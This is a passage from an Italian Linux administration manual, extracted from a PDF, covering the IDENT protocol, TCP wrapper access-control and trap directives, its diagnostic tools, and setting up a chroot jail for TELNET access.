Il punto di vista è quello delnodo 192.168.254.1, mentre ilnodo remoto è 192.168.1.1. Perinterrogare il servizio IDENT presso ilnodo remoto si utilizza un cliente TELNET nel modoseguente (eventualmente, al posto del nome‘auth ’ si può indicare direttamente il numero: 113).

$ telnet 192.168.1.1 auth [ Invio ]

Trying 192.168.1.1...Connected to 192.168.1.1.Escape character is ’^]’.

1108 , 23 [ Invio ]

1108 , 23 : USERID : OTHER :tizioConnection closed by foreign host.

Così si viene a conoscere che la connessione è intrattenuta dall’utente‘ [email protected] ’ .

Un demone di un servizio qualunque potrebbe essere modificato in modo da utilizzare sistema-ticamente il protocollo IDENT per interpellare iclienti, annotando nelregistro del sistema gliutenti che accedono. Per questo e altri utilizzi, esiste la libreria‘ libident ’ , disponibile conquasi tutte le distribuzioni GNU.

Probabilmente, solo la distribuzioneDebian acclude il demone‘ identtestd ’ assieme alla libre-ria ‘ libident ’ . Si tratta di un programma da collocare nel file di configurazione delsupervisoredei servizi di rete, per esempio‘ /etc/inetd.conf ’ , collegandolo a una porta non utilizza-ta, il cui scopo è solo quello di restituire le informazioni di chi dovesse fare un tentativo diaccesso attraverso uncliente TELNET su quella stessa porta. In pratica,‘ identtestd ’ serveesclusivamente per verificare il funzionamento del proprio servizio IDENT.

Nel caso si utilizziInetd, si attiva il servizio (diagnostico) attraverso una riga come quellaseguente, nel file‘ /etc/inetd.conf ’ .

9999 stream tcp nowait root /usr/sbin/in.identtestd in.identtestd

Page 61: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Protocollo IDENT 2045

Una volta riavviato ilsupervisore dei servizi di rete, si può interpellare tale «servizio» con uncliente TELNET da unnodo in cui è presente IDENT, per verificarne il funzionamento. Si osservil’esempio.

# telnet 192.168.1.1 9999 [ Invio ]

Trying 192.168.1.1...Connected to 192.168.1.1.Escape character is ’^]’.Welcome to the IDENT server tester, version 1.9

(Linked with libident-libident 0.21 Debian 4)

Connecting to Ident server at 192.168.254.1...Querying for lport 2252, fport 9999....Reading response data...Userid response is:

Lport........ 2252Fport........ 9999Opsys........ OTHERCharset...... <not specified>Identifier... root

Connection closed by foreign host.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 62: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 186

TCP wrapper più in dettaglioL’uso delTCP wrapper (il programma‘ tcpd ’) è già stato descritto in modo sommario nel capito-lo 135. In quella fase sono state trascurate le sue potenzialià di controllo, che possono estendersifino all’utilizzo del protocollo IDENT.

La configurazione delTCP wrapper avviene esclusivamente attraverso i file‘ /etc/

hosts.allow ’ e ‘ /etc/hosts.deny ’ , all’interno dei quali si possono utilizzare direttive piùcomplesse di quelle già viste in precedenza. In ogni caso, è bene ribadire che lo scopo di questifile è quello di trovare una corrispondenza con l’utente e ilnodo che tenta di accedere a uno deiservizi messi sotto il controllo delsupervisore dei servizi di rete e di altri servizi che incorpo-rano il TCP wrapper attraverso delle librerie. La verifica inizia dal file‘ /etc/hosts.allow ’ econtinua con‘ /etc/hosts.deny ’ , fermandosi alla prima corrispondenza corretta. Se la corri-spondenza avviene con una direttiva del file‘ /etc/hosts.allow ’ , l’accesso è consentito; se lacorrispondenza avviene con una direttiva di‘ /etc/hosts.deny ’ , l’accesso è impedito; se nonavviene alcuna corrispondenza l’accesso è consentito.

186.1 Limiti e particolarità del TCP wrapper

In generale, le connessioni RPC non si riescono a controllare facilmente con ilTCP wrapper.In particolare, i servizi annotati come RPC-TCP nel file di configurazione delsupervisore deiservizi di rete non sono gestibili attraverso il programma‘ tcpd ’ .

Alcuni demoni UDP e RPC rimangono attivi al termine del loro lavoro, in attesa di un’ulteriorerichiesta eventuale. Questi servizi sono registrati nel file‘ /etc/inetd.conf ’ con l’opzione‘wait ’ e così si possono riconoscere facilmente. Come si può intuire, solo la richiesta che liavvia può essere controllata da‘ tcpd ’ .

Alcuni dettagli di funzionamento di‘ tcpd ’ sono definiti in fase di compilazione dei sorgenti. Sitratta in particolare dell’opzione di compilazione‘ -DPARANOID’ , con la quale è come se fossesempre attivo il jolly‘PARANOID’ nei file ‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ . Disolito, i pacchetti già compilati delTCP wrapper sono stati ottenuti senza questa opzione, inmodo da lasciare la libertà di configurarlo come si vuole.

Un altro elemento che può essere definito con la compilazione è il tipo di direttive che si possonoaccettare nei file‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ . Le due sintassi possibili sonodescritte in due documenti separati:hosts_access(5)ehosts_options(5).

186.2 Configurazione del TCP wrapper

In questa sezione viene mostrata in particolare la sintassi dei file‘ /etc/hosts.allow ’ e‘ /etc/hosts.deny ’ , quando nella fase di compilazione di‘ tcpd ’ non è stata abilitata l’e-stensione‘PROCESS_OPTIONS’ ; in pratica quella più limitata. Negli esempi si mostreranno an-che le corrispondenze con il secondo tipo di formato, che può essere approfondito leggendohosts_options(5).

elenco_di_demoni: elenco_di_clienti[ : comando_di_shell]

La sintassi mostrata, che si riferisce al tipo più semplice di formato delle direttive di questi file,potrebbe essere trasformata in quello più complesso nel modo seguente:

elenco_di_demoni: elenco_di_clienti[ : spawn comando_di_shell]

2046

Page 63: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

TCP wrapper più in dettaglio 2047

Quando non si sa quale sia il formato giusto per il proprio‘ tcpd ’ , basta provare prima quellopiù semplice. Se non va bene si vede subito la segnalazione di errore nelregistro del sistema.

I primi due elementi, l’elenco di demoni e l’elenco diclienti, sono già stati descritti nel capitolo135. Vale forse la pena di ricordare che questi «elenchi» sono semplicemente nomi o modelliseparati da spazi orizzontali, cosa che spiega la necessità di separare i vari campi delle direttiveattraverso i due punti verticali.

Ciò che appare a partire dal terzo campo di queste direttive (nel caso mostrato si tratta di uncomando dishell, ma con la sintassi più complessa si parla piuttosto di opzioni), può conteneredelle variabili, rappresentate da un simbolo di percentuale (‘%’) seguito da una lettera, che ven-gono espanse da‘ tcpd ’ ogni volta che viene verificata la corrispondenza con quella direttivadeterminata che le contiene (tabella186.1).

Tabella 186.1. Elenco delle variabili utilizzabili in alcune parti delle direttive dei file dicontrollo degli accessi.

Variabile Contenuto

%a L’indirizzo del nodocliente.%A L’indirizzo del nodoservente.%c L’informazione completa delnodocliente per quanto disponibile.%d Il nome del processo del demone.%h Il nome delnodocliente o l’indirizzo se il nome non è disponibile.%H Il nome delnodoservente o l’indirizzo se il nome non è disponibile.%n Il nome delnodocliente o‘unknown ’ o ‘paranoid ’ .%N Il nome delnodoservente o‘unknown ’ o ‘paranoid ’ .%p Il numero del processo del demone.%s Informazione completa delnodoservente per quanto disponibile.%u Il nome dell’utente delnodocliente o‘unknown ’ .%% Un simbolo di percentuale singolo.

Una direttiva può contenere il simbolo di due punti (‘ : ’) all’interno di certi campi. In tal caso,per evitare che questi si confondano con la separazione dei campi, occorre precedere tale simbolocon la barra obliqua inversa:‘ \: ’ .

Una direttiva può essere interrotta e ripresa nella riga successiva se alla fine della riga appare unabarra obliqua inversa, subito prima delcodice di interruzione di riga.

Ogni volta che si modifica uno di questi file, è indispensabile verificare che nelregistro disistema non appaiano indicazioni di errori di sintassi. Un problema tipico che si incontra èdovuto al fatto che ogni direttiva deve terminare con uncodice di interruzione di riga. Se allafine di una direttiva terminasse anche il file, questo costituirebbe un errore che ne impedirebbeil riconoscimento.

186.2.1 Demoni e clienti specificati in modo più preciso

I primi due campi delle direttive di questi file, permettono di indicare con più precisione sia idemoni che iclienti che accedono.

Quando ilservente ha diversi indirizzi IP con cui può essere raggiunto, è possibile indicare nelprimo campo un demone in combinazione con un indirizzo particolare dal quale proviene larichiesta. In pratica, il primo campo diventa un elenco di elementi del tipo seguente:

demone@modello_servente

Page 64: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2048 TCP wrapper più in dettaglio

Il demone può essere indicato per nome, oppure può essere messo al suo posto il jolly‘ALL’ cheli rappresenta tutti.

Il modello delservente serve a rappresentare questi indirizzi per nome o per numero. Valgonoanche in questo caso le regole con cui si possono definire i nomi e gli indirizzi diclienti, ancheper quanto riguarda le indicazioni parziali (un intero dominio o un gruppo di indirizzi).

Più interessante è invece la possibilità di ottenere dalTCP wrapper la verifica del nominativo-utente del processo avviato dalcliente per la connessione. Si veda per questo, quanto già descrittoin precedenza al riguardo del protocollo IDENT. Basta utilizzare nel secondo campo la sintassiseguente:

modello_utente@modello_cliente

Utilizzando questa forma,‘ tcpd ’ , prima di concedere l’accesso al servizio, interpella ilclienteattraverso il protocollo IDENT, per ottenere il nome dell’utente proprietario del processo che hainstaurato la connessione.

Se il cliente non risponde a questo protocollo, si crea una pausa di ritardo di circa 10 s.Implicitamente si penalizzano tutti gli utenti che usano sistemi operativi diversi da Unix ederivati.

Una volta ottenuta la risposta, o quando scade il tempo, può essere fatto il confronto con ladirettiva. In ogni caso, questo tipo di direttiva fa sì che venga aggiunta questa informazione nelregistro del sistema.

Il modello dell’utente può essere un nome puro e semplice, oppure un jolly:‘ALL’ , ‘KNOWN’ e‘UNKNOWN’ . Il significato è intuitivo: tutti gli utenti; solo gli utenti conosciuti; solo gli utentisconosciuti.

Il modello delcliente è quello già visto in precedenza: nomi interi; nomi parziali che inizianocon un punto; indirizzi IP interi; indirizzi IP parziali che terminano con un punto; jolly vari.

È bene ribadire che l’informazione sull’utente restituita dal protocollo IDENT, non è af-fidabile. Un sistema compromesso potrebbe essere stato modificato in modo da restituireinformazioni false.

186.2.2 Comandi di shell

Il terzo campo delle direttive di questi file, permette di inserire un comando dishell. Quando unaccesso trova corrispondenza con una direttiva contenente un comando dishell, questo comandoviene eseguito; mentre l’accesso viene consentito se la corrispondenza avviene all’interno del file‘ /etc/hosts.allow ’ .

Il comando può contenere le variabili descritte nella tabella186.1, che sono utili per dare unsenso a questi comandi.

Il comando viene eseguito utilizzando l’interprete‘ /bin/sh ’ , connettendostandard input,stan-dard output estandard error al dispositivo‘ /dev/null ’ . Generalmente, alla fine del comandoviene indicato il simbolo‘&’ , in modo da metterlosullo sfondo, per evitare di dover attendere lasua conclusione.

Questi comandi non possono fare affidamento sulla variabile di ambiente‘PATH’ per l’avviodegli eseguibili, per cui si usando generalmente percorsi assoluti, a meno che questa variabile siainizializzata esplicitamente all’interno del comando stesso.

Page 65: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

TCP wrapper più in dettaglio 2049

186.2.3 Esempi e trappole

Seguono alcuni esempi che dovrebbero chiarire meglio l’uso delle direttive dei file‘ /etc/

hosts.allow ’ e ‘ /etc/hosts.deny ’ .

In tutti gli esempi mostrati si suppone che il file‘ /etc/hosts.deny ’ contenga solo la diret-tiva ‘ALL:ALL ’ , in modo da escludere ogni accesso che non sia stato previsto espressamentenel file ‘ /etc/hosts.allow ’ .

# /etc/hosts.allow#ALL : ALL@ALL

Supponendo che questa sia l’unica direttiva del file‘ /etc/hosts.allow ’ , si intende che ven-gono consentiti esplicitamente tutti gli accessi a tutti i servizi. Tuttavia, avendo utilizzato laforma ‘ALL@ALL’ nel secondo campo, si attiva il controllo dell’identità dell’utente delcliente,ottenendone l’annotazione delregistro del sistema.

# /etc/hosts.allow#ALL : KNOWN@ALL

La direttiva combacia solo con accessi in cui gli utenti siano identificabili.

# /etc/hosts.allow#...in.telnetd : ALL : ( /usr/sbin/safe_finger -l @%h ←→| /bin/mail -s ’%d-%u@%h’ root ) &

Si tratta di una trappola con cui l’amministratore vuole essere avvisato di ogni tentativo di utilizzodel servizio TELNET. Il comando avvia‘safe_finger ’ (una versione speciale diFinger cheaccompagna ilTCP wrapper) in modo da conoscere tutti i dati possibili sugli utenti connessi allamacchinacliente, inviando il risultato al comando‘mail ’ per spedirlo a‘ root ’ .

Molto probabilmente, l’amministratore che prepara questa trappola, farà in modo che il demone‘ in.telnetd ’ non sia disponibile, in modo tale che la connessione venga comunque rifiutata.

Se fosse stato necessario utilizzare l’altro tipo di formato per le direttive di questi file, l’esem-pio appena mostrato sarebbe il seguente: si aggiunge la parola chiave‘spawn ’ che identifical’opzione corrispondente.

# /etc/hosts.allow#...in.telnetd : ALL : spawn ( /usr/sbin/safe_finger -l @%h ←→| /bin/mail -s ’%d-%u@%h’ root ) &

L’esempio seguente mostra un tipo di trappola meno tempestivo, in cui ci si limita ad aggiungereun’annotazione particolare nelregistro del sistema per facilitare le ricerche successive attraverso‘grep ’ .

in.telnetd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rshd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rlogind : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rexecd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &ipop2d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &ipop3d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &imapd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.fingerd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &

Se necessario occorre aggiungere la parola chiave‘spawn ’ :

Page 66: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2050 TCP wrapper più in dettaglio

in.telnetd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rshd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rlogind : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.rexecd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &ipop2d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &ipop3d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &imapd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &in.fingerd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &

Trattandosi di servizi che non si vogliono offrire (altrimenti non ci sarebbe ragione di registraretanto bene gli accessi), anche in questo caso è opportuno che i demoni corrispondenti non cisiano, oppure che i rispettivi eseguibili siano sostituiti da una copia dello stesso programma‘ tcpd ’ .

Si osservi in particolare che all’interno del comando appare il simbolo di due punti protetto dauna barra obliqua. Se non si facesse così, potrebbe essere interpretato come l’inizio di un nuovocampo.

186.2.4 Comandi e servizi UDP

I servizi UDP non si prestano tanto per la creazione di trappole, a causa del fatto che non siinstaura una connessione come nel caso del protocollo TCP. Il caso più importante di questoproblema è rappresentato dal servizio TFTP, che di solito, nel caso ilsupervisore dei servizi direte siaInetd, viene indicato nel file‘ /etc/inetd.conf ’ nel modo seguente:

tftp dgram udp wait root /usr/sbin/tcpd in.tftpd

Se si creasse una direttiva come quella seguente,

# /etc/hosts.allow#...in.tftpd : ALL : ( /usr/sbin/safe_finger -l @%h ←→| /bin/mail -s ’%d-%u@%h’ root ) &

si rischierebbe di avviare il comando dishell un gran numero di volte. Si può limitare questoproblema modificando la riga contenuta nel file‘ /etc/inetd.conf ’ nel modo seguente:

tftp dgram udp wait.2 root /usr/sbin/tcpd in.tftpd

In tal modo, si accetterebbero un massimo di due tentativi al minuto.

In generale, dovendo realizzare delle trappole per servizi UDP, conviene eliminare del tutto ildemone dalfile system.

186.3 Verifica della configurazione

‘ tcpdchk ’ 1 permette di controllare la configurazione delTCP wrapper, indicando problemipossibili ed eventualmente anche dei suggerimenti per la loro sistemazione.

tcpdchk [ opzioni]

‘ tcpdchk ’ analizza i file‘ /etc/inetd.conf ’ , ‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ .Tra i vari tipi di verifiche che vengono eseguite, ci sono anche i nomi utilizzati per inodi e idomini NIS. In tal senso, per avere un controllo più preciso, è opportuno utilizzare‘ tcpdchk ’anche quando il sistema viene collegato in rete, avendo accesso alla configurazione reale del DNSe del NIS.

1TCP wrapper software libero con licenza speciale

Page 67: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

TCP wrapper più in dettaglio 2051

Opzione Descrizione

-dEsamina i file‘ ./hosts.allow ’ e ‘ ./hosts.deny ’ , cioèquelli che si trovano nella directory corrente.

-i file_inetd Specifica il file da utilizzare al posto di‘ /etc/inetd.conf ’ .

186.4 Verifica delle corrispondenze

‘ tcpdmatch ’ 2 permette di verificare il comportamento della configurazione simulando del-le richieste. In pratica, verifica il contenuto di‘ /etc/inetd.conf ’ , ‘ /etc/hosts.allow ’e ‘ /etc/hosts.deny ’ , mostrando quello che succederebbe con una richiesta di connessionedeterminata.

tcpdmatch [ opzioni] demone[ @servente] [ utente@] cliente

È obbligatoria l’indicazione di un demone, con l’eventuale aggiunta dell’indicazione delser-vente quando si possono distinguere per questo degli indirizzi diversi; inoltre è obbligatorial’indicazione delcliente, con l’eventuale aggiunta dell’utente.

Nell’indicazione delservente si possono usare anche i jolly‘UNKNOWN’ e ‘PARANOID’ ; il valorepredefinito, se questa indicazione manca, è‘UNKNOWN’ .

L’utente può essere indicato per nome o per numero UID; anche in questo caso si ammette iljolly ‘UNKNOWN’ , che è il valore predefinito in mancanza di questa indicazione.

Opzione Descrizione

-dEsamina i file‘ ./hosts.allow ’ e ‘ ./hosts.deny ’ , cioèquelli che si trovano nella directory corrente.

-i file_inetd Specifica il file da utilizzare al posto di‘ /etc/inetd.conf ’ .

Segue la descrizione di alcuni esempi.

• # tcpdmatch in.telnetd localhost

Verifica il comportamento della configurazione per una richiesta di accesso al servizioTELNET, corrispondente al demone‘ in.telnetd ’ , da parte delnodolocalhost .

• # tcpdmatch in.telnetd [email protected]

Verifica il comportamento della configurazione per una richiesta di accesso al servizioTELNET, corrispondente al demone‘ in.telnetd ’ , da parte dell’utente‘ tizio ’ dalnodoroggen.brot.dg .

• # tcpdmatch [email protected] [email protected]

Verifica il comportamento della configurazione per una richiesta di accesso al servizio TEL-NET, corrispondente al demone‘ in.telnetd ’ , proveniente dall’interfaccia corrispondenteal nomedinkel.brot.dg , da parte dell’utente‘ tizio ’ dalnodoroggen.brot.dg .

2TCP wrapper software libero con licenza speciale

Page 68: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2052 TCP wrapper più in dettaglio

186.5 Un Finger speciale

‘safe_finger ’ 3 è unclienteFinger che, da quanto indicato nella documentazione originale,dovrebbe essere più adatto per la creazione di trappole attraverso i comandi dishell.

Le sue funzionalità sono le stesse del comando‘ finger ’ normale e non viene indicato altro nelladocumentazione originale.

186.6 Verifica della propria identificazione

‘ try-from ’ 4 permette di verificare il funzionamento del sistema di identificazione delserventee delcliente. Si utilizza nel modo seguente:

rsh host /usr/sbin/try-from

Di solito, questo programma si utilizza per verificare il proprio sistema. Per fare un esempio, siimmagina di essere l’utente‘caio ’ che dalnododinkel.brot.dg si connette al suo stessoelaboratore per avviare‘ try-from ’ .

$ rsh dinkel.brot.dg /usr/sbin/try-from [ Invio ]

client address (%a): 192.168.1.1client hostname (%n): dinkel.brot.dgclient username (%u): caioclient info (%c): [email protected] address (%A): 192.168.1.1server hostname (%N): dinkel.brot.dgserver process (%d): try-fromserver info (%s): [email protected]

Dal risultato che si ottiene, si può determinare che anche il servizio IDENT dell’elaboratoredinkel.brot.dg (visto comecliente) funziona correttamente.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

3TCP wrapper software libero con licenza speciale4TCP wrapper software libero con licenza speciale

Page 69: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 187

Cambiare directory radiceI sistemi Unix, offrono generalmente una funzione che permette di fare funzionare un processo inunfile system ridotto, in cui una certa directory diventa temporaneamente la sua nuovadirectoryradice. Si tratta della funzione‘chroot() ’ , che nel caso di sistemi GNU/Linux,può essereutilizzata solo da un processo con i privilegi dell’utente‘ root ’ .

Le distribuzioni GNU/Linux mettono normalmente a disposizione il programma‘chroot ’ 1 chepermette di utilizzare in pratica questa funzione. In alternativa, ne esiste un’altra versione per-fettamente funzionante con GNU/Linux (anche se non si trova nelle distribuzioni), che offre ilvantaggio di fondere le funzionalità di‘chroot ’ e di ‘su ’ ; si tratta di‘chrootuid ’ di WietseVenema.

187.1 Principio di funzionamento

I programmi di servizio che si occupano di ridefinire ladirectory radice temporaneamente, percircoscrivere l’ambiente di un processo determinato (e dei suoi discendenti), richiedono l’indica-zione della directory che diventerà la nuovadirectory radice e del programma da avviare al suointerno.

Il processo da avviare in questo ambiente deve trovare lì tutto quello che gli può servire, peresempio le librerie, o altri programmi se il suo scopo è quello di avviare altri sottoprocessi.

È la stessa situazione che si verifica quando si predispone la directory‘~ftp/ ’ per l’accessoal servizio FTP anonimo. A titolo di esercizio, può essere preparata una directory del genereriproducendo‘ /bin/ ’ , ‘ /sbin/ ’ , ‘ /lib/ ’ e ‘ /etc/ ’ .

# mkdir /tmp/nuova_root

# cp -dpR /bin /sbin /lib /etc /tmp/nuova_root

Con quanto preparato in questo modo, si può avviare unashell circoscritta all’ambito delladirectory‘ /tmp/nuova_root/ ’ , che viene fatta diventare appunto la nuovadirectory radice.

# chroot /tmp/nuova_root /bin/bash

Con questo comando, si fa in modo che venga utilizzata la funzione‘chroot() ’ perché‘ /tmp/

nuova_root/ ’ diventi la directory radice per il processo avviato con‘ /bin/bash ’ . È impor-tante comprendere che‘ /bin/bash ’ va inteso qui come parte del sotto-file system e si tratta ingenerale si‘ /tmp/nuova_root/bin/bash ’ .

Per concludere l’esempio, una volta verificato che si sta lavorando effettivamente in un ambienteristretto, basta fare terminare il processo per cui è stata cambiata ladirectory radice, cioè‘bash ’ .

# exit

187.2 Possibilità di questo meccanismo

La definizione di un sotto-file system, permette di isolare il funzionamento di un programma chepotrebbe costituire un pericolo di qualche tipo. Per esempio un servizio di rete che si teme possaconsentire un qualche accesso non autorizzato.

1GNU shell programming utilities GNU GPL

2053

Page 70: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2054 Cambiare directory radice

Si potrebbe immaginare la possibilità di creare delle utenze in cui gli utenti non possano giro-vagare nelfile system, limitandoli all’ambito di un sotto-file system appunto. Tuttavia, dal mo-mento che un sistema GNU/Linux non permette l’utilizzo della funzione‘chroot() ’ agli utenticomuni, di fatto non è possibile, almeno con i mezzi normali.

187.2.1 Utilizzo di chroot

‘chroot ’ 2 permette all’utente‘ root ’ di eseguire un comando utilizzando una directory parti-colare come una nuovadirectory radice. Il comando, deve essere indicato tenendo conto dellasituazione che ci si trova di fronte dopo che il cambiamento delladirectory radice è avvenuto.

chroot directory [ comando]

Se non viene indicato alcun comando, viene eseguito‘ /bin/sh ’ , nel sotto-file system a cui ci siriferisce.

Al termine del funzionamento del processo avviato con il comando, si ritorna allo statoprecedente, con ilfile system nelle condizioni in cui si trovava prima.

187.2.2 Utilizzo di chrootuid

‘chrootuid ’ 3 è un programma simile a‘chroot ’ , in cui però è possibile indicare l’utenteproprietario del processo che viene avviato nella nuovadirectory radice.

chrootuid directory utente comando

‘chrootuid ’ non fa parte delle distribuzioni GNU/Linux standard, ma può essere ottenuto fa-cilmente dalla sua origine, presso l’università di Eindhoven in Olanda,<ftp://ftp.porcupine.org/pub/

security/chrootuid1.3.tar.gz>.

187.3 Un esempio pratico: TELNET

In questa sezione si vuole mostrare in che modo potrebbero essere create delle utenze per l’ac-cesso remoto attraverso TELNET, in modo da escludere che gli utenti possano accedere a partivitali del sistema. L’esempio viene indicato solo in linea di massima, trascurando dettagli chedevono poi essere definiti da chi volesse utilizzare tale sistema realmente e in modo serio.

Per semplificare le cose, si può creare una copia del sistema in funzione, a partire da una sotto-directory (ammesso che ci sia abbastanza spazio disponibile nel disco fisso). Si suppone di farlonella directory‘ /sicura/ ’ .

# mkdir /sicura

# cp -dpR /bin /dev /etc /home /lib /opt /root /sbin /usr /var /sicura

# mkdir /sicura/tmp

# chmod 1777 /sicura/tmp

# mkdir /sicura/proc

# chmod 0555 /sicura/proc

2GNU shell programming utilities GNU GPL3chrootuid software libero con licenza speciale

Page 71: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cambiare directory radice 2055

Quindi si «entra» in questo sistema e si fa un po’ di pulizia, eliminando in particolare tutto quelloche nella directory‘etc/ ’ non serve. Infatti, si deve considerare che in questo piccolo ambientenon esiste unaprocedura di inizializzazione del sistema, non esiste l’avvio di programmi demonee non si configura la rete. L’unica attenzione deve essere data alla configurazione delleshell chesi vogliono poter utilizzare.

# chroot /sicura

...

# exit

Il sistema circoscritto appena creato, può avere delle difficoltà a funzionare in un sistemaGNU/Linux, a causa della mancanza del contenuto della directory‘proc/ ’ che dovrebbe es-sere montato anche lì. Questoinserimento può essere definito convenientemente una volta pertutte nel file‘ /etc/fstab ’ del file system normale, avendo così duepunti di innesto diversi esimultanei.

# /etc/fstab#...none /proc proc defaults 0 0none /sicura/proc proc defaults 0 0#...

Si potrebbe valutare la possibilità di non lasciare l’accessibilità alle informazioni di questadirectory. Si può provare a vedere se le attività che si vogliono concedere agli utenti sonocompromesse dalla sua mancanza. Se il disagio è tollerabile, è meglio evitare dimontare ladirectory‘ /proc/ ’ quando tutto è pronto.

Una volta sistemato questo particolare, tutto funziona meglio nel sistema che si articola dalladirectory‘ /sicura/ ’ . Per fare in modo che il servizio TELNET utilizzi questo spazio riservato,si deve modificare il file di configurazione delsupervisore dei servizi di rete delfile systemnormale; per esempio, nel caso diInetd, il file ‘ /etc/inetd.conf ’ va modificato in un modosimile a quello seguente:

telnet stream tcp nowait root /usr/sbin/tcpd /sicura/telnetd

Come si vede, per l’avvio del servizio è stato indicato l’eseguibile‘ /sicura/telnetd ’ , che inpratica è unoscript di shell che contiene la chiamata del comando‘chroot ’ , prima dell’avviodel vero demone‘ in.telnetd ’ .

#! /bin/shchroot /sicura /usr/sbin/in.telnetd

In questo caso, quanto indicato come‘ /usr/sbin/in.telnetd ’ , è in realtà‘ /sicura/usr/

sbin/in.telnetd ’ .

Una volta definito questo, dopo avermontato anche la directory‘ /sicura/proc/ ’ e dopo averriavviato il supervisore dei servizi di rete, si può accedere con uncliente TELNET nel propriosistema locare come utente‘ root ’ , per sistemare le cose (per farlo, temporaneamente, occor-re che il file ‘ /sicura/etc/securetty ’ preveda anche i dispositivi‘ /dev/ttyp * ’ , oppurequelli che sono utilizzati effettivamente per l’accesso attraverso TELNET).

Una volta sistemate le cose come si desidera, si dovrà avere cura di impedire l’accesso remotoda parte dell’utente‘ root ’ , tenendo conto che al limite questo utente potrebbe anche esserecancellato all’interno di‘ /sicura/etc/passwd ’

Page 72: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2056 Cambiare directory radice

# telnet localhost

...

Una volta entrati nel mini sistema, dopo essersi accertati che funziona (basta creare un file e suun’altra console virtuale vedere che si trova collocato a partire dalla directory‘ /sicura/ ’), sicomincia a disinstallare tutto quello che non serve e che non si vuole lasciare usare agli utenti.Probabilmente, tutto quello che riguarda la configurazione della rete dovrebbe essere eliminato,mentre qualchecliente particolare potrebbe essere lasciato a disposizione degli utenti.

Anche la directory‘dev/ ’ dovrebbe essere controllata, lasciando al suo interno solo i dispo-sitivi indispensabili. Di certo non servono i dispositivi che permettono l’accesso a unità dimemorizzazione: gli utenti remoti non devono avere la possibilità di montare o smontare dischi.

Gli stessi file‘etc/passwd ’ e ‘etc/group ’ (ed eventualmente‘etc/shadow ’) possono esseremodificati per eliminare tutti gli utenti di sistema, compreso‘ root ’ che potrebbe essere aggiuntonel momento in cui si volesse fare qualche intervento dall’interno). In pratica, si tratterebbe dilasciare solo gli utenti del servizio TELNET.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 73: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

